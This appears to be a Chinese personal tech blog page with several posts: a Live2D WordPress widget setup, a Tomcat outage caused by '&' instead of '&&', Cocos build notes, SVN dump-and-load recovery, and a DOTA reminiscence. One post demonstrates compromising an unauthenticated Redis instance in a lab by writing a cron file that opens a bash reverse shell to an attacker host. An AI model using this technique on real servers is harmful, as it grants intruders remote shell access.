WP with Live2D

引言

blog的浮动窗体小组件挺有意思加之

步骤

GitHub地址https://github.com/xiazeyu/live2d-widget.js

由于是node项目依赖于npm先clone下来项目

git clone https://github.com/xiazeyu/live2d-widget.js

然后

npm install

发现在项目目录下node依赖的文件夹已经出现了node_modules

观察项目目录下的package.json看看怎样启动项目

"scripts": {
    "update:submodule": "git submodule foreach git pull origin master",
    "_esdoc": "./node_modules/.bin/esdoc",
    "_changelog": "conventional-changelog --outfile CHANGELOG.md --release-count 0",
    "_titlechangelog": "sed -i '1i\\# Changelog\\n\\n' CHANGELOG.md",
    "inst:dev": "npm install -g commitizen && npm install -g conventional-changelog-cli && npm install",
    "build:dev": "./node_modules/.bin/webpack --progress --colors",
    "build:prod": "./node_modules/.bin/webpack --env prod --progress --colors && npm run build:module",
    "build:module": "./node_modules/.bin/webpack --env prod --progress --colors --config webpack.config.common.js",
    "build:docs": "git pull && npm run _changelog && git add CHANGELOG.md && npm run update:submodule && git add ghpages",
    "build:esdoc": "cp lib/stats.html ghpages/stats.html -f && npm run _titlechangelog && npm run _esdoc",
    "deploy:doc": "git pull && git checkout master && cd ghpages/ && git status && git add --all && git commit -m \"Update docs\" && git push origin HEAD:master --force && cd ..",
    "deploy": "build:prod && build:docs",
    "lint": "eslint --ext .js ./src",
    "commit": "git pull && git-cz",
    "v:major": "npm version major",
    "v:pmajor": "npm version premajor",
    "v:minor": "npm version minor",
    "v:pminor": "npm version preminor",
    "v:patch": "npm version patch",
    "v:ppatch": "npm version prepatch",
    "test": "echo \"Error: no test specified\" && exit 1",
    "postinstall": "opencollective-postinstall"
  }

执行之

npm run build:dev

启动后由webpack提供动态调试打开dev.html

默认加载的modelizumi可以在项目目录\src\config\defaultConfig.js中的jsonPath修改,目前支持的model可从live2d-widget.jsCurrent supported models:找到,替换下面地址中红色部分即可

https://unpkg.com/live2d-widget-model-izumi@latest/assets/izumi.model.json

替换完成保存后webpack会重新加载配置js

观察dev.html其初始化方式和项目目录下\src\index.js中可配置参数,根据情况进行修改,生成的所需引用的js文件都在lib文件夹下

由于站点使用的是WordPress搭建的使用的是Php先装个叫Snippets的插件然后用其在php代码中插入<script>标签来完成加载生成的js

继续阅读“WP with Live2D”

tomcat异常退出记录

事件

同事头天夜里远程部署线上集群环境第二天发现服务异常,但头天夜里部署时说测试正常,处理报警时只有一个节点能访问其余全部异常。

问题

当使用tomcat /bin目录下的脚本停止tomcat时catalina.out会输出如下日志

21-May-2020 16:00:08.919 INFO [main] org.apache.catalina.core.StandardServer.await A valid shutdown command was received via the shutdown port. Stopping the Ser
ver instance.
21-May-2020 16:00:08.919 INFO [main] org.apache.coyote.AbstractProtocol.pause Pausing ProtocolHandler ["http-nio-80"]
21-May-2020 16:00:08.970 INFO [main] org.apache.coyote.AbstractProtocol.pause Pausing ProtocolHandler ["ajp-nio-8009"]
21-May-2020 16:00:09.021 INFO [main] org.apache.catalina.core.StandardService.stopInternal Stopping service Catalina

如果是异常退出时

21-May-2020 16:12:00.754 INFO [Thread-12] org.apache.coyote.AbstractProtocol.pause Pausing ProtocolHandler ["http-nio-80"]
2020-05-21 16:12:00,754  INFO Thread-11 o.s.b.w.s.c.AnnotationConfigServletWebServerApplicationContext:991 - Closing org.springframework.boot.web.servlet.contex
t.AnnotationConfigServletWebServerApplicationContext@41357de2: startup date [Thu May 21 16:10:21 CST 2020]; root of context hierarchy
2020-05-21 16:12:00,766  INFO Thread-11 o.s.c.s.DefaultLifecycleProcessor:369 - Stopping beans in phase 2147483647
21-May-2020 16:12:00.814 INFO [Thread-12] org.apache.coyote.AbstractProtocol.pause Pausing ProtocolHandler ["ajp-nio-8009"]
2020-05-21 16:12:00,831  INFO Thread-11 o.s.o.j.LocalContainerEntityManagerFactoryBean:597 - Closing JPA EntityManagerFactory for persistence unit 'default'
21-May-2020 16:12:00.864 INFO [Thread-12] org.apache.catalina.core.StandardService.stopInternal Stopping service Catalina

异常退出造成的原因为开发人员在启动tomcat实例时想观察启动日志错误的使用命令./startup.sh & tailf ../logs/catalina.out注意&&&的含义有天壤之别也是引发这次异常停机问题的关键,&使命令在后台运行,当以&&连接两个命令时表示当前面一个命令没有错误正确退出时后面紧接着执行后一个命令,所以正确的写法应该是./startup.sh && tailf ../logs/catalina.out.

可能的原因

使用ssh工具进行远程连接执行了错误的命令./startup.sh & tailf ../logs/catalina.out根据当事人所说执行上述命令后没有关闭ssh工具窗口,ssh会话一直处于执行tailf命令状态下然后锁定计算机就休息了,当shell以非交互模式运行时其子进程fork时会对shell进程的父进程的中断信号量敏感,当tomcat(java)进程被创建时可能会受到当前ssh会话进程的影响会对ssh会话进程的中断做出反应,当ssh收到中断信号量时该信号量可能会在进程组内传播造成tomcat(java)进程意外中断。

Cocos杂记

项目构建

android

  • 在构建目录build\jsb-default\frameworks\runtime-src下找到android项目
  • 使用android studio导入构建项目解决依赖问题后进行联机调试和打包

    windows

ios

  • 在macOS平台使用Cocos Creator进行ios构建
  • 在构建目录build\jsb-default\frameworks\runtime-src下找到ios项目
  • 使用Xcode找到工程文件打开编译连接设备进行调试或打包
  • 其中有可能Xcode编译不过具体情况需具体分析 这里举例
    'system' is unavailable: not available on iOS
  • 该错误需要更改Cocos cpp构建文件remove “system” usage
  • 还有可能Cocos构建脚本在检查Xcode版本时出现错误
    cocos2d project_compile.py ValueError: invalid literal for float(): 11.2.1
  • 本地Xcode版本为11.2.1直接在project_compile.py把version<5的判断注释即可
  • 在项目中使用第三方依赖时需要进行依赖管理,这里使用cocoapods管理,其中涉及使用gem更新Ruby,建立repo和 创建Podfile,之后就不能使用.xcodeproj文件进入工程了必须使用生成的.xcworkspace打开工程
  • 修改Podfile文件,就需要重新运行一下pod update命令。如何使用CocoaPods
  • 在升级百家云的时候发现update异常缓慢更换git访问代理 git config --global http.https://github.com.proxy socks5://192.168.1.57:1080

项目问题

ios

  • 使用NSJSONSerialization序列化json时当json属性值为null时返回对象为NSNull判断时需注意

  • nil和NSNull还是有区别的nil表示 nil表示引用计数为0的待释放对象,NSNull代表空对象

通过redis渗透

如果redis绑定在0.0.0.0地址且无需密码访问并对/var/spool/cron有写入权限那很可能会对主机安全造成影响

渗透工具 nmap nc redis-cli(这里使用的是kail环境)

渗透目标 192.168.1.179

攻击机 192.168.1.73

使用nmap扫描目标,由于是测试端口范围已知,红色为redis集群端口

nmap -p 7000-7010 -sT -O 192.168.1.179
Nmap scan report for 192.168.1.179
Host is up (0.00032s latency).
PORT     STATE  SERVICE
7000/tcp closed afs3-fileserver
7001/tcp open   afs3-callback
7002/tcp open   afs3-prserver
7003/tcp open   afs3-vlserver
7004/tcp open   afs3-kaserver
7005/tcp open   afs3-volser
7006/tcp open   afs3-errors
7007/tcp closed afs3-bos
7008/tcp closed afs3-update
7009/tcp closed afs3-rmtsys
7010/tcp closed ups-onlinet

使用cli集群模式连接redis

redis-cli -c -h 192.168.1.179 -p 7001

切换至定时任务目录

192.168.1.179:7001> CONFIG SET dir /var/spool/cron

创建一个定时任务文件

192.168.1.179:7001> CONFIG SET dbfilename hack

设置一个定时任务反弹shell save保存exit退出

set payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.73/9999 0>&1\n\n"

进入指定端口交互式shell

nc -l -p 9999

渗透完成

SVN的迁移与恢复

在经历服务器断电硬盘恢复后重新恢复svn服务

首先使用svnadmin命令初始化一个仓库

svnadmin create repos

该存储库用于之后的导入

然后在恢复好的硬盘中找到原存储库的current文件观察当前递增的版本号,路径根据之前仓库路径变化

cat /mnt/usb/backup/sqn004\ lv_home/svn/repo/db/current
23082

使用dump命令导出原有存储库,如果仓库内容很多时间会很长

svnadmin dump /mnt/usb/backup/sqn004\ lv_home/svn/repo > /home/svnrepo.dump
* 已转存版本 0。
* 已转存版本 1。
* 已转存版本 2。
* 已转存版本 3。
      .
      .

期间如果出现导出失败记录下失败标号,当前事例由于存储空间问题失败与版本22986,释放空间后加入参数重新dump

svnadmin dump /mnt/usb/backup/sqn004\ lv_home/svn/repo/ -r 22986:23082 --incremental >svnrepo2.dump

完成后将dump文件重新load进新的存储库

svnadmin load /home/svn/repo/ < svnrepo.dump
svnadmin load /home/svn/repo/ < svnrepo2.dump

初秋

距中国对最后一次夺得Ti冠军,今年已是第三个年头,当中国队负于对手止步季军那一刹那仿佛回到了初中那会儿,那时因war3接触DOTA这张地图沉浸于它激烈的对抗和极富挑战的复杂操作,更着迷于小伙伴们开黑店的快乐.几个人坐在一排叽叽喳喳讨论哪个英雄厉害该怎么搭配,对黑的每一盘胜利总是能带给我们无与伦比的快乐,单纯的以为要打一辈子DOTA,要做一辈子朋友.时光流逝聚聚散散,可能再也看不见儿时的伙伴,就连这宝贵的回忆也随着时间一点点溜走这可能就是时间神奇的地方,它总是把回忆擦拭的斑斑勃勃然后让你自己凭着一厢情愿填填补补,它行进的依然坚实有力碾碎任何可以阻挡的幻想,再见了这个紫色的夏天.